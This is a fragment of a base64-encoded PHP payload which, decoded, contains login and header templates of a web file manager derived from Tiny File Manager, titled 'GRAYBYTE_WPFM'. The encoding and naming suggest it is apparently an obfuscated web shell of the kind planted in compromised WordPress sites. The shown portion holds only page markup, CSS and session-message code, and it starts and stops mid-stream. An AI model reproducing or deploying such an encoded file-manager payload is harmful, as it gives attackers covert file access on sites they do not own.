CIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/